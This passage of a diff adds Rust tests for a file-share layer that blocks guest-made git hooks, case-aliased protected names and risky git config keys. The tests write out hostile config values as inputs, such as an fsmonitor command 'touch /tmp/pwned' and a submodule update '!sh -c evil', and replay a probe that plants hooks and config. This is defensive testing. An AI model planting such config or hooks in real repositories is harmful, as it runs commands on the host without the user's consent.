out.push(String::from_utf8(s).unwrap()); ++ } ++ } ++ out ++} ++ ++fn tag_of(path: &Path) -> Option { ++ let c = CString::new(path.as_os_str().as_bytes()).unwrap(); ++ let mut buf = [0u8; 256]; ++ let n = unsafe { libc::getxattr(c.as_ptr(), QUARANTINE_NAME.as_ptr(), buf.as_mut_ptr().cast(), buf.len(), 0, libc::XATTR_NOFOLLOW) }; ++ (n >= 0).then(|| String::from_utf8_lossy(&buf[..n as usize]).into_owned()) ++} ++ ++fn assert_tagged(path: &Path) { ++ let value = tag_of(path).unwrap_or_else(|| panic!("{} carries no quarantine tag", path.display())); ++ let parts: Vec<&str> = value.split(';').collect(); ++ assert_eq!(parts.len(), 4, "{value}"); ++ assert_eq!(parts[0], "0081"); ++ assert!(parts[1].len() == 8 && parts[1].chars().all(|c| c.is_ascii_hexdigit() && !c.is_ascii_uppercase()), "{value}"); ++ assert_eq!((parts[2], parts[3]), ("Winter Cowork", "")); ++} ++ ++/// The host's git, isolated: no system or global config, an empty template directory, a scratch home. ++fn host_git(home: &Path, dir: &Path, args: &[&str]) -> Output { ++ let template = home.join("template"); ++ let _ = fs::create_dir(&template); ++ let out = Command::new("git") ++ .current_dir(dir) ++ .env_clear() ++ .env("PATH", std::env::var_os("PATH").unwrap_or_default()) ++ .env("HOME", home) ++ .env("GIT_CONFIG_NOSYSTEM", "1") ++ .env("GIT_CONFIG_GLOBAL", "/dev/null") ++ .env("GIT_TERMINAL_PROMPT", "0") ++ .args(["-c", &format!("init.templateDir={}", template.display()), "-c", "init.defaultBranch=main", "-c", "user.name=t", "-c", "user.email=t"]) ++ .args(["-c", "protocol.file.allow=always", "-c", "core.hooksPath=/dev/null"]) ++ .args(args) ++ .output() ++ .expect("the host has git"); ++ assert!(out.status.success(), "git {args:?}: {}", String::from_utf8_lossy(&out.stderr)); ++ out ++} ++ ++fn text(out: &Output) -> String { ++ String::from_utf8_lossy(&out.stdout).trim().to_owned() ++} ++ ++// ---- H1: how protected names match --------------------------------------------------------------------- ++ ++#[test] ++fn r15_fold_matches_the_volume_folding_and_exact_on_a_case_sensitive_volume() { ++ for (name, folded) in [ ++ ("HOOKS", "hooks"), ++ ("Hoo\u{212A}s", "hooks"), ++ ("Hook\u{017F}", "hooks"), ++ ("CONFIG", "config"), ++ ("con\u{FB01}g", "config"), ++ (".GiT", ".git"), ++ ("HEAD", "head"), ++ ("CommonDir", "commondir"), ++ ] { ++ assert_eq!(fold(name.as_bytes()), folded, "{name}"); ++ } ++ // A non-ASCII letter that does not fold to ASCII never matches an ASCII name. ++ assert_ne!(fold("h\u{00F6}oks".as_bytes()), "hooks"); ++ let folding = git::GitState::new(false); ++ assert!(folding.is(b"HOOKS", "hooks") && folding.is("hoo\u{212A}s".as_bytes(), "hooks") && folding.is(b"head", "HEAD")); ++ let sensitive = git::GitState::new(true); ++ assert!(sensitive.is(b"hooks", "hooks") && !sensitive.is(b"HOOKS", "hooks") && !sensitive.is(b"head", "HEAD")); ++ // The volume decides: the device asks `_PC_CASE_SENSITIVE` of the share root. ++ let share = folder(|_| {}); ++ let fd = fs::File::open(&share.root).unwrap(); ++ let volume = unsafe { libc::fpathconf(fd.as_raw_fd(), libc::_PC_CASE_SENSITIVE) } == 1; ++ assert_eq!(!insensitive(&share), volume); ++} ++ ++#[test] ++fn r15_every_case_spelling_of_every_protected_name_is_protected() { ++ let mut share = folder(|root| plant_repo(&root.join("r"), PLAIN_CONFIG)); ++ if !insensitive(&share) { ++ // A case-sensitive volume compares exactly; only the exact spellings are protected names. ++ return; ++ } ++ let git = share.at("r/.git"); ++ for spelling in spellings("hooks") { ++ assert_eq!(share.mkdir(git, spelling.as_bytes(), 0o755).error, EPERM, "{spelling}"); ++ assert_eq!(share.create(git, spelling.as_bytes(), 0o644, RDWR).error, EPERM, "{spelling}"); ++ assert_eq!(share.symlink(git, spelling.as_bytes(), b"elsewhere").error, EPERM, "{spelling}"); ++ } ++ for name in ["config", "config.worktree"] { ++ for spelling in spellings(name) { ++ assert_eq!(share.create(git, spelling.as_bytes(), 0o644, RDWR).error, EPERM, "{spelling}"); ++ // config.lock under any spelling is a plain file; the rename onto any spelling is checked. ++ assert_eq!(share.put(&format!("r/.git/{spelling}.lock"), b"[core]\n\tfsmonitor = x\n"), 0); ++ assert_eq!(share.ren(&format!("r/.git/{spelling}.lock"), &format!("r/.git/{spelling}")), EPERM, "{spelling}"); ++ assert_eq!(share.rm(&format!("r/.git/{spelling}.lock")), 0); ++ } ++ } ++ // The Kelvin sign and the long s fold onto ASCII letters. ++ for alias in ["hoo\u{212A}s", "hook\u{017F}"] { ++ assert_eq!(share.mkdir(git, alias.as_bytes(), 0o755).error, EPERM, "{alias}"); ++ } ++ assert_eq!(share.create(git, "con\u{FB01}g".as_bytes(), 0o644, RDWR).error, EPERM); ++ let plain = share.at("r"); ++ for spelling in spellings("HEAD").into_iter().chain(spellings("commondir")).chain(spellings("gitdir")) { ++ assert_eq!(share.create(plain, spelling.as_bytes(), 0o644, RDWR).error, EPERM, "{spelling}"); ++ } ++ for spelling in spellings(".git") { ++ assert_eq!(share.symlink(plain, spelling.as_bytes(), b"x").error, EPERM, "{spelling}"); ++ assert_eq!(share.rename(plain, b".git", plain, format!("{spelling}x").as_bytes()).error, EPERM, "{spelling}"); ++ } ++ // An ignorable code point inside a protected name is R1's EINVAL on every device. ++ for name in [".g\u{200C}it", "ho\u{200D}oks", "con\u{FEFF}fig", "HE\u{202A}AD"] { ++ assert_eq!(share.mkdir(git, name.as_bytes(), 0o755).error, lx::EINVAL, "{name}"); ++ assert_eq!(share.create(plain, name.as_bytes(), 0o644, RDWR).error, lx::EINVAL, "{name}"); ++ } ++ // A second spelling of an existing protected node is the same node, held by (dev, ino). ++ fs::create_dir(share.root.join("r/.git/hooks")).unwrap(); ++ fs::write(share.root.join("r/.git/hooks/pre-commit"), b"#!/bin/sh\n").unwrap(); ++ let hooks = share.at("r/.git/HOOKS"); ++ let file = share.node(hooks, b"PRE-COMMIT"); ++ assert_eq!(share.open(file, WRONLY).error, EPERM); ++ assert!(!share.notices().is_empty()); ++} ++ ++// ---- H2: git directories are recognised anywhere, none new outside a .git chain ------------------------ ++ ++#[test] ++fn r15_bare_shaped_directories_outside_a_dot_git_chain_are_refused() { ++ let mut share = folder(|root| { ++ fs::create_dir_all(root.join("a/b")).unwrap(); ++ fs::create_dir(root.join("a/withrefs")).unwrap(); ++ fs::create_dir(root.join("a/withrefs/refs")).unwrap(); ++ fs::create_dir(root.join("a/withobjects")).unwrap(); ++ fs::create_dir(root.join("a/withobjects/objects")).unwrap(); ++ // The user's own bare repository. ++ fs::create_dir_all(root.join("bare.git/objects")).unwrap(); ++ fs::create_dir(root.join("bare.git/refs")).unwrap(); ++ fs::write(root.join("bare.git/HEAD"), "ref: refs/heads/main\n").unwrap(); ++ fs::write(root.join("bare.git/config"), "[core]\n\tbare = true\n").unwrap(); ++ fs::write(root.join("a/file"), b"x").unwrap(); ++ }); ++ for name in ["HEAD", "commondir", "gitdir"] { ++ assert_eq!(share.put(&format!("a/b/{name}"), b"ref: refs/heads/main\n"), EPERM, "{name}"); ++ assert!(!share.root.join("a/b").join(name).exists()); ++ } ++ assert_eq!(share.ren("a/file", "a/b/HEAD"), EPERM); ++ assert_eq!(share.hard("a/file", "a/b/HEAD"), EPERM); ++ assert_eq!(share.sym("a/b/HEAD", "x"), EPERM); ++ assert_eq!(share.md("a/withrefs/objects"), EPERM); ++ assert_eq!(share.md("a/withobjects/refs"), EPERM); ++ // A bare repository planted by the user is a git directory: its hooks and config are protected, ++ // and it cannot be moved. ++ assert_eq!(share.md("bare.git/hooks"), EPERM); ++ assert_eq!(share.put("bare.git/config", b""), EPERM); ++ assert_eq!(share.lock_rename("bare.git/config", b"[core]\n\tfsmonitor = x\n"), EPERM); ++ assert_eq!(share.ren("bare.git", "moved"), EPERM); ++ // Inside a .git chain the same names are git's own work. ++ assert_eq!(share.md("a/b/.git"), 0); ++ assert_eq!(share.md("a/b/.git/refs"), 0); ++ assert_eq!(share.md("a/b/.git/objects"), 0); ++ assert_eq!(share.put("a/b/.git/HEAD", b"ref: refs/heads/main\n"), 0); ++ assert_eq!(share.notices(), vec![NoticeKind::GitProtected]); ++} ++ ++// ---- H4: git directories cannot be moved, faked or filled ---------------------------------------------- ++ ++#[test] ++fn r15_git_directories_cannot_be_moved_removed_or_rebuilt() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ fs::create_dir_all(root.join("evil/hooks")).unwrap(); ++ fs::write(root.join("evil/hooks/pre-commit"), b"#!/bin/sh\n").unwrap(); ++ fs::write(root.join("evil/config"), b"[core]\n\tfsmonitor = x\n").unwrap(); ++ fs::create_dir(root.join("empty")).unwrap(); ++ fs::create_dir(root.join("spare")).unwrap(); ++ fs::write(root.join("lockfile"), b"x").unwrap(); ++ }); ++ assert_eq!(share.ren("r/.git", "r/aside"), EPERM); ++ assert_eq!(share.exchange("r/.git", "empty"), EPERM); ++ assert_eq!(share.ren("empty", "r/.git"), EPERM); ++ // .git renamed aside is refused, so is building a new one by renaming a directory onto the name. ++ assert_eq!(share.ren("evil", "spare/.git"), EPERM); ++ assert_eq!(share.md("spare/.git"), 0); ++ assert_eq!(share.rd("spare/.git"), EPERM); ++ // A directory renamed into the zone (H4/H5): a hooks tree or a whole modules/. ++ assert_eq!(share.md("r/.git/modules"), 0); ++ assert_eq!(share.ren("evil", "r/.git/modules/evil"), EPERM); ++ assert_eq!(share.ren("evil/hooks", "r/.git/hooks"), EPERM); ++ assert_eq!(share.ren("empty", "r/.git/modules/empty"), EPERM); ++ // Files move in (git's own lock files do). ++ assert_eq!(share.ren("lockfile", "r/.git/modules/lockfile"), 0); ++ assert!(share.root.join("r/.git/config").exists() && share.root.join("evil/hooks/pre-commit").exists()); ++ assert!(!share.root.join("r/.git/hooks").exists() && !share.root.join("r/.git/modules/evil").exists()); ++} ++ ++// ---- hooks and config at every depth of the zone, and the refs/ and logs/ exemption ---------------- ++ ++#[test] ++fn r15_config_config_worktree_and_hooks_at_every_depth_below_dot_git() { ++ let mut share = folder(|root| plant_repo(&root.join("r"), PLAIN_CONFIG)); ++ for dir in ["r/.git", "r/.git/modules", "r/.git/modules/a", "r/.git/modules/a/b", "r/.git/modules/a/b/c", "r/.git/worktrees", "r/.git/worktrees/w", "r/.git/x", "r/.git/x/y"] { ++ let e = share.md(dir); ++ assert!(e == 0 || e == lx::EEXIST, "{dir}"); ++ } ++ for dir in ["r/.git", "r/.git/modules/a", "r/.git/modules/a/b/c", "r/.git/worktrees/w", "r/.git/x/y"] { ++ for name in ["config", "config.worktree"] { ++ assert_eq!(share.put(&format!("{dir}/{name}"), b""), EPERM, "{dir}/{name}"); ++ assert_eq!(share.lock_rename(&format!("{dir}/{name}"), b"[core]\n\tworktree = /\n\tfsmonitor = x\n"), EPERM, "{dir}/{name}"); ++ } ++ assert_eq!(share.md(&format!("{dir}/hooks")), EPERM, "{dir}/hooks"); ++ assert_eq!(share.put(&format!("{dir}/hooks"), b""), EPERM, "{dir}/hooks"); ++ assert_eq!(share.sym(&format!("{dir}/hooks"), "x"), EPERM, "{dir}/hooks"); ++ // An admitted config may appear at any depth, through the lock. ++ assert_eq!(share.lock_rename(&format!("{dir}/config"), PLAIN_CONFIG.as_bytes()), 0, "{dir}/config"); ++ } ++ // A branch and a reflog named config and hooks: git's own refs/ and logs/ are exempt. ++ for path in ["r/.git/refs/heads/config", "r/.git/refs/heads/hooks", "r/.git/refs/tags/config"] { ++ assert_eq!(share.lock_rename(path, b"0123456789012345678901234567890123456789\n"), 0, "{path}"); ++ } ++ for dir in ["r/.git/logs", "r/.git/logs/refs", "r/.git/logs/refs/heads"] { ++ assert_eq!(share.md(dir), 0, "{dir}"); ++ } ++ assert_eq!(share.put("r/.git/logs/HEAD", b"entry\n"), 0); ++ assert_eq!(share.put("r/.git/logs/refs/heads/config", b"entry\n"), 0); ++ assert_eq!(share.put("r/.git/logs/refs/heads/hooks", b"entry\n"), 0); ++ assert_eq!(share.md("r/.git/refs/heads/feature"), 0); ++ assert_eq!(share.lock_rename("r/.git/refs/heads/feature/hooks", b"0\n"), 0); ++ // ... but never a .git, commondir or gitdir in them. ++ for name in [".git", "commondir", "gitdir"] { ++ assert_eq!(share.put(&format!("r/.git/refs/heads/{name}"), b"x\n"), EPERM, "{name}"); ++ assert_eq!(share.put(&format!("r/.git/logs/{name}"), b"x\n"), EPERM, "{name}"); ++ } ++ assert_eq!(share.md("r/.git/refs/.git"), EPERM); ++} ++ ++#[test] ++fn r15_hooks_are_immutable_in_any_entry_type() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ fs::create_dir_all(root.join("r/.git/hooks/sub")).unwrap(); ++ fs::write(root.join("r/.git/hooks/pre-commit.sample"), b"#!/bin/sh\n").unwrap(); ++ plant_repo(&root.join("f"), PLAIN_CONFIG); ++ fs::write(root.join("f/.git/hooks"), b"a hooks file").unwrap(); ++ plant_repo(&root.join("l"), PLAIN_CONFIG); ++ symlink("/elsewhere", root.join("l/.git/hooks")).unwrap(); ++ fs::write(root.join("x"), b"payload").unwrap(); ++ }); ++ // Below an existing hooks directory: every mutating opcode. ++ assert_eq!(share.put("r/.git/hooks/pre-commit", b"#!/bin/sh\n"), EPERM); ++ assert_eq!(share.md("r/.git/hooks/d"), EPERM); ++ assert_eq!(share.sym("r/.git/hooks/pre-push", "/bin/sh"), EPERM); ++ assert_eq!(share.hard("x", "r/.git/hooks/pre-push"), EPERM); ++ assert_eq!(share.rm("r/.git/hooks/pre-commit.sample"), EPERM); ++ assert_eq!(share.rd("r/.git/hooks/sub"), EPERM); ++ assert_eq!(share.ren("x", "r/.git/hooks/pre-commit"), EPERM); ++ assert_eq!(share.ren("r/.git/hooks/pre-commit.sample", "out"), EPERM); ++ assert_eq!(share.ren("r/.git/hooks/pre-commit.sample", "r/.git/hooks/pre-commit"), EPERM); ++ let sample = share.at("r/.git/hooks/pre-commit.sample"); ++ assert_eq!(share.setattr(sample, FATTR_MODE, 0o755, 0).error, EPERM); ++ assert_eq!(share.setattr(sample, FATTR_SIZE, 0, 0).error, EPERM); ++ assert_eq!(share.open(sample, WRONLY).error, EPERM); ++ assert_eq!(share.open(sample, RDWR | TRUNC).error, EPERM); ++ let read = share.open_ok(sample, RDONLY); ++ assert_eq!(share.read(sample, read, 0, 64).body, b"#!/bin/sh\n"); ++ let body = FallocateIn { fh: read, offset: 0, length: 4096, mode: 0, padding: 0 }; ++ assert_eq!(share.call(Opcode::Fallocate, sample, body.as_slice()).error, EPERM); ++ assert_eq!(share.write(sample, read, 0, b"x").error, EPERM); ++ // The hooks entry itself, of any type: never removed, renamed or replaced. ++ assert_eq!(share.rd("r/.git/hooks"), EPERM); ++ assert_eq!(share.ren("r/.git/hooks", "r/.git/old"), EPERM); ++ assert_eq!(share.rm("f/.git/hooks"), EPERM); ++ assert_eq!(share.open_w("f/.git/hooks"), EPERM); ++ assert_eq!(share.rm("l/.git/hooks"), EPERM); ++ assert_eq!(share.ren("l/.git/hooks", "l/.git/old"), EPERM); ++ assert_eq!(share.ren("x", "f/.git/hooks"), EPERM); ++ assert_eq!(fs::read(share.root.join("r/.git/hooks/pre-commit.sample")).unwrap(), b"#!/bin/sh\n"); ++ assert!(!share.root.join("r/.git/hooks/pre-commit").exists()); ++ // A commondir naming a git directory that holds hooks is refused (H5 re-validation): the Mac's own ++ // repositories, which carry hooks/*.sample, take no guest-made worktree. ++ assert_eq!(share.md("r/.git/worktrees"), 0); ++ assert_eq!(share.md("r/.git/worktrees/w"), 0); ++ assert_eq!(share.put("r/.git/worktrees/w/commondir", b"../..\n"), EPERM); ++ assert_eq!(fs::read(share.root.join("r/.git/worktrees/w/commondir")).unwrap(), b""); ++} ++ ++// ---- config: only through the checked lock and rename (M-a) -------------------------------------------- ++ ++#[test] ++fn r15_config_changes_only_through_the_checked_lock_rename() { ++ let user = "[core]\n\trepositoryformatversion = 0\n\tbare = false\n\teditor = vim\n[alias]\n\tst = status\n"; ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), user); ++ fs::write(root.join("r/.git/config.worktree"), b"[core]\n\tsparsecheckout = true\n").unwrap(); ++ fs::write(root.join("r/other.lock"), b"[core]\n\tbare = false\n").unwrap(); ++ }); ++ // Never created, opened for writing, truncated, linked, renamed away or (config) unlinked. ++ let config = share.at("r/.git/config"); ++ assert_eq!(share.open(config, WRONLY).error, EPERM); ++ assert_eq!(share.open(config, RDWR | TRUNC).error, EPERM); ++ assert_eq!(share.setattr(config, FATTR_SIZE, 0, 0).error, EPERM); ++ assert_eq!(share.ren("r/.git/config", "r/.git/config.old"), EPERM); ++ assert_eq!(share.hard("r/.git/config", "r/linked"), EPERM); ++ assert_eq!(share.rm("r/.git/config"), EPERM); ++ assert_eq!(share.put("r/.git/config", b""), EPERM); ++ assert_eq!(fs::read_to_string(share.root.join("r/.git/config")).unwrap(), user); ++ // The user's own risky keys stay, unchanged; an admitted key may be added beside them. ++ let added = format!("{user}[remote \"origin\"]\n\turl = https://example.invalid/r.git\n\tfetch = +refs/heads/*:refs/remotes/origin/*\n"); ++ assert_eq!(share.lock_rename("r/.git/config", added.as_bytes()), 0); ++ assert_eq!(fs::read_to_string(share.root.join("r/.git/config")).unwrap(), added); ++ // Changing a risky value, or adding one, is refused; removing one is allowed. ++ assert_eq!(share.lock_rename("r/.git/config", added.replace("vim", "evil").as_bytes()), EPERM); ++ assert_eq!(share.lock_rename("r/.git/config", format!("{added}[core]\n\tfsmonitor = /tmp/x\n").as_bytes()), EPERM); ++ let removed = added.replace("\teditor = vim\n", ""); ++ assert_eq!(share.lock_rename("r/.git/config", removed.as_bytes()), 0); ++ assert_eq!(share.lock_rename("r/.git/config", added.as_bytes()), EPERM, "a removed risky key cannot come back"); ++ // The source is git's own `.lock` in the same directory, a single-link regular file. ++ assert_eq!(share.ren("r/other.lock", "r/.git/config"), EPERM); ++ assert_eq!(share.put("r/config.lock", removed.as_bytes()), 0); ++ assert_eq!(share.ren("r/config.lock", "r/.git/config"), EPERM, "a lock from another directory"); ++ assert_eq!(share.rm("r/config.lock"), 0); ++ assert_eq!(share.put("r/.git/notalock", removed.as_bytes()), 0); ++ assert_eq!(share.ren("r/.git/notalock", "r/.git/config"), EPERM); ++ // No link is made in the zone; one planted on the Mac is never a lock either. ++ assert_eq!(share.sym("r/.git/config.lock", "other.lock"), EPERM); ++ symlink("../other.lock", share.root.join("r/.git/config.lock")).unwrap(); ++ assert_eq!(share.ren("r/.git/config.lock", "r/.git/config"), EPERM, "a symlinked lock"); ++ assert_eq!(share.rm("r/.git/config.lock"), 0); ++ // A hard-linked lock file (st_nlink > 1). ++ assert_eq!(share.put("r/.git/config.lock", removed.as_bytes()), 0); ++ assert_eq!(share.hard("r/.git/config.lock", "r/kept"), 0); ++ assert_eq!(share.ren("r/.git/config.lock", "r/.git/config"), EPERM); ++ assert_eq!(share.rm("r/kept"), 0); ++ // An open writable handle on the lock: the rename is refused until it is released. ++ let lock = share.at("r/.git/config.lock"); ++ let fh = share.open_ok(lock, RDWR); ++ assert_eq!(share.ren("r/.git/config.lock", "r/.git/config"), EPERM); ++ assert_eq!(share.write(lock, fh, 0, b"[core]\n\tfsmonitor = x\n").error, 0); ++ share.release(lock, fh); ++ assert_eq!(share.ren("r/.git/config.lock", "r/.git/config"), EPERM, "the late write is checked too"); ++ assert_eq!(share.rewrite("r/.git/config.lock", removed.as_bytes()), 0); ++ let read = share.open_ok(lock, RDONLY); ++ assert_eq!(share.ren("r/.git/config.lock", "r/.git/config"), 0); ++ // After the rename the inode is the config: a handle kept from before writes nothing, no new write ++ // open succeeds. ++ assert_eq!(share.write(lock, read, 0, b"[core]\n\tfsmonitor = x\n").error, EPERM); ++ assert_eq!(share.open(lock, WRONLY).error, EPERM); ++ share.release(lock, read); ++ // config.worktree may be unlinked (git does), and only lock-renamed back. ++ assert_eq!(share.ren("r/.git/config.worktree", "r/.git/cw"), EPERM); ++ assert_eq!(share.rm("r/.git/config.worktree"), 0); ++ assert_eq!(share.put("r/.git/config.worktree", b""), EPERM); ++ assert_eq!(share.lock_rename("r/.git/config.worktree", b"[core]\n\tsparsecheckout = true\n"), 0); ++ // An exchange is never the lock path. ++ assert_eq!(share.put("r/.git/swap", b""), 0); ++ assert_eq!(share.exchange("r/.git/swap", "r/.git/config"), EPERM); ++ // More than 1 MiB, or a lock that is not a regular file (a FIFO planted on the host), is refused. ++ let mut big = removed.clone().into_bytes(); ++ big.extend(std::iter::repeat_n(b"# padding\n".as_slice(), (1 << 20) / 10 + 1).flatten()); ++ assert_eq!(share.put("r/.git/config.lock", b""), 0); ++ let lock = share.at("r/.git/config.lock"); ++ let fh = share.open_ok(lock, WRONLY); ++ for (i, chunk) in big.chunks(1 << 19).enumerate() { ++ assert_eq!(share.write(lock, fh, (i << 19) as u64, chunk).error, 0); ++ } ++ share.release(lock, fh); ++ assert_eq!(share.ren("r/.git/config.lock", "r/.git/config"), EPERM); ++ assert_eq!(share.rm("r/.git/config.lock"), 0); ++ mkfifo(&share.root.join("r/.git/config.lock")); ++ assert_eq!(share.ren("r/.git/config.lock", "r/.git/config"), EPERM); ++ assert_eq!(share.rm("r/.git/config.lock"), 0); ++ // A config the parser refuses is refused. ++ assert_eq!(share.lock_rename("r/.git/config", b"[core\n"), EPERM); ++ assert_eq!(share.lock_rename("r/.git/config", b"[core]\n\tbare = \"unterminated\n"), EPERM); ++ assert_eq!(share.notices(), vec![NoticeKind::GitProtected]); ++} ++ ++fn config_for(key: &str, value: &str) -> String { ++ let parts: Vec<&str> = key.split('.').collect(); ++ match parts.as_slice() { ++ [section, name] => format!("[{section}]\n\t{name} = {value}\n"), ++ [section, middle @ .., name] => format!("[{section} \"{}\"]\n\t{name} = {value}\n", middle.join(".")), ++ _ => unreachable!(), ++ } ++} ++ ++#[test] ++fn r15_every_allowlist_entry_is_admitted_every_named_refusal_and_suffix_refused() { ++ let mut share = folder(|root| plant_repo(&root.join("r"), "")); ++ let mut ok = |_: &[u8]| false; ++ for key in ADMITTED { ++ let key = key.replace('*', "x"); ++ let value = if key == "submodule.x.update" { "checkout" } else { "v" }; ++ assert_eq!(share.lock_rename("r/.git/config", config_for(&key, value).as_bytes()), 0, "{key}"); ++ assert_eq!(share.lock_rename("r/.git/config", b""), 0); ++ } ++ for value in ["checkout", "rebase", "merge", "none"] { ++ assert_eq!(share.lock_rename("r/.git/config", config_for("submodule.x.update", value).as_bytes()), 0, "{value}"); ++ assert_eq!(share.lock_rename("r/.git/config", b""), 0); ++ } ++ for key in ["lfs.url", "lfs.x.access", "lfs.concurrenttransfers", "pull.rebase", "pull.ff", "pull.x.y"] { ++ assert_eq!(share.lock_rename("r/.git/config", config_for(key, "v").as_bytes()), 0, "{key}"); ++ assert_eq!(share.lock_rename("r/.git/config", b""), 0); ++ } ++ for key in NAMED_REFUSALS { ++ let value = if key == "submodule.x.update" { "!sh -c evil" } else { "v" }; ++ assert_eq!(share.lock_rename("r/.git/config", config_for(key, value).as_bytes()), EPERM, "{key}"); ++ let entry = &parse_git_config(config_for(key, value).as_bytes()).unwrap()[0]; ++ assert!(!admitted(entry, &mut ok), "{key}"); ++ } ++ for key in ["lfs.customtransfer.x.path", "lfs.customtransfer.x.args", "lfs.extension.x.clean", "lfs.extension.x.priority", "submodule.x.update", "core.hookspath"] { ++ assert_eq!(share.lock_rename("r/.git/config", config_for(key, "rebase2").as_bytes()), EPERM, "{key}"); ++ } ++ // The suffix backstop refuses even what a wildcard admits. ++ for suffix in REFUSED_SUFFIXES { ++ for key in [format!("lfs.x{suffix}"), format!("pull.x{suffix}"), format!("lfs.x.y{}", suffix.to_ascii_uppercase())] { ++ assert_eq!(share.lock_rename("r/.git/config", config_for(&key, "v").as_bytes()), EPERM, "{key}"); ++ } ++ } ++ assert!(!share.root.join("r/.git/config.lock").exists()); ++} ++ ++#[test] ++fn r15_no_allowlist_entry_matches_the_suffix_rule() { ++ for key in ADMITTED { ++ let last = key.rsplit('.').next().unwrap(); ++ assert!(!gitconfig::suffix_refused(last), "{key}"); ++ } ++ assert!(!gitconfig::suffix_refused("worktree"), "core.worktree"); ++ assert_eq!(ADMITTED_SECTIONS, ["lfs", "pull"]); ++ for suffix in REFUSED_SUFFIXES { ++ assert!(gitconfig::suffix_refused(&format!("x{}", suffix.to_ascii_uppercase()))); ++ } ++} ++ ++#[test] ++fn r15_the_config_parser_is_strict() { ++ let good = b"\xef\xbb\xbf# comment\n; comment\n[core]\n\tbare = false ; trailing\n\tfilemode\n[remote \"o \\\"x\\\\\"] url = \"a b\" \n\tfetch = +refs/*:refs/* \\\n continued\n[Branch.Main]\n\tREMOTE = origin\n[a] k = \"#\\t\\n\\b\"\n"; ++ let entries = parse_git_config(good).unwrap(); ++ let names: Vec = entries.iter().map(|e| e.name()).collect(); ++ assert_eq!(names, ["core.bare", "core.filemode", "remote.o \"x\\.url", "remote.o \"x\\.fetch", "branch.main.remote", "a.k"]); ++ assert_eq!(entries[0].value.as_deref(), Some(&b"false"[..])); ++ assert_eq!(entries[1].value, None); ++ assert_eq!(entries[2].value.as_deref(), Some(&b"a b"[..])); ++ // git keeps the blanks around a continuation: one before the backslash, two after the newline. ++ assert_eq!(entries[3].value.as_deref(), Some(&b"+refs/*:refs/* continued"[..])); ++ assert_eq!(entries[5].value.as_deref(), Some(&b"#\t\n\x08"[..])); ++ for bad in [ ++ &b"key = v\n"[..], ++ b"[core\n", ++ b"[]\n", ++ b"[co re]\n", ++ b"[a.b \"c\"]\n", ++ b"[a \"b\n\"]\n", ++ b"[a \"b\"x]\n", ++ b"[core]\n\tbare = \"x\n", ++ b"[core]\n\tbare = \\q\n", ++ b"[core]\n\tba_re = 1\n", ++ b"[core]\n\t1bare = 1\n", ++ b"[core]\n\tbare = x\0\n", ++ b"[core]\n\t= x\n", ++ b"[core]\n\tbare x\n", ++ ] { ++ assert!(parse_git_config(bad).is_err(), "{:?}", String::from_utf8_lossy(bad)); ++ } ++} ++ ++#[test] ++fn r15_core_worktree_only_in_a_submodule_git_directory_naming_its_work_tree() { ++ let mut share = folder(|root| { ++ plant_repo(&root.join("sup"), PLAIN_CONFIG); ++ fs::create_dir_all(root.join("sup/.git/modules/sub")).unwrap(); ++ fs::create_dir_all(root.join("sup/.git/modules/a/b")).unwrap(); ++ fs::create_dir(root.join("sup/sub")).unwrap(); ++ }); ++ let with = |wt: &str| format!("{PLAIN_CONFIG}\tworktree = {wt}\n"); ++ assert_eq!(share.lock_rename("sup/.git/config", with("..").as_bytes()), EPERM, "not a submodule's git directory"); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", with("/abs").as_bytes()), EPERM); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", with("~/x").as_bytes()), EPERM); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", with("/../../../sub").as_bytes()), EPERM, "absolute"); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", with("../../../../..").as_bytes()), EPERM, "leaves the share"); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", with("../../../.git").as_bytes()), EPERM, "into a .git"); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", with("..").as_bytes()), EPERM, "into a .git"); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", format!("{}\tfsmonitor = x\n", with("../../../sub")).as_bytes()), EPERM); ++ assert_eq!(share.lock_rename("sup/.git/modules/sub/config", with("../../../sub").as_bytes()), 0); ++ assert_eq!(share.lock_rename("sup/.git/modules/a/b/config", with("../../../../a/b").as_bytes()), 0, "a nested submodule name"); ++} ++ ++// ---- H5: creation order (T17c), the reviewer's probe step by step --------------------------------------- ++ ++#[test] ++fn r15_creation_order_probe_t17c_step_by_step() { ++ let evil = "[core]\n\trepositoryformatversion = 0\n\tworktree = ../../../sub\n\tfsmonitor = touch /tmp/pwned\n"; ++ let mut share = folder(|root| { ++ plant_repo(&root.join("r"), PLAIN_CONFIG); ++ fs::create_dir(root.join("r/sub")).unwrap(); ++ fs::create_dir(root.join("r/sub2")).unwrap(); ++ fs::create_dir(root.join("r/sub3")).unwrap(); ++ // The user's own tree: a pre-planted hooks entry and a non-admitted config. ++ fs::create_dir_all(root.join("r/.git/modules/own/hooks")).unwrap(); ++ fs::write(root.join("r/.git/modules/own/config"), evil).unwrap(); ++ fs::create_dir_all(root.join("r/.git/modules/ownconfig")).unwrap(); ++ fs::write(root.join("r/.git/modules/ownconfig/config.worktree"), b"[core]\n\tfsmonitor = x\n").unwrap(); ++ fs::create_dir_all(root.join("r/.git/modules/ownhooks/hooks")).unwrap(); ++ }); ++ // The probe: build .git/modules/evil/config and hooks while evil holds no HEAD. ++ assert_eq!(share.md("r/.git/modules/evil"), 0); ++ assert_eq!(share.put("r/.git/modules/evil/config", evil.as_bytes()), EPERM, "the config create"); ++ assert_eq!(share.lock_rename("r/.git/modules/evil/config", evil.as_bytes()), EPERM, "the config.lock rename"); ++ assert_eq!(share.md("r/.git/modules/evil/hooks"), EPERM, "the hooks mkdir"); ++ // The same through config.worktree. ++ assert_eq!(share.put("r/.git/modules/evil/config.worktree", evil.as_bytes()), EPERM); ++ assert_eq!(share.lock_rename("r/.git/modules/evil/config.worktree", evil.as_bytes()), EPERM); ++ assert!(fs::read_dir(share.root.join("r/.git/modules/evil")).unwrap().next().is_none(), "nothing reached the host"); ++ // Then HEAD, objects and refs, and the gitfile: evil holds nothing the server did not admit. ++ assert_eq!(share.put("r/.git/modules/evil/HEAD", b"ref: refs/heads/main\n"), 0); ++ 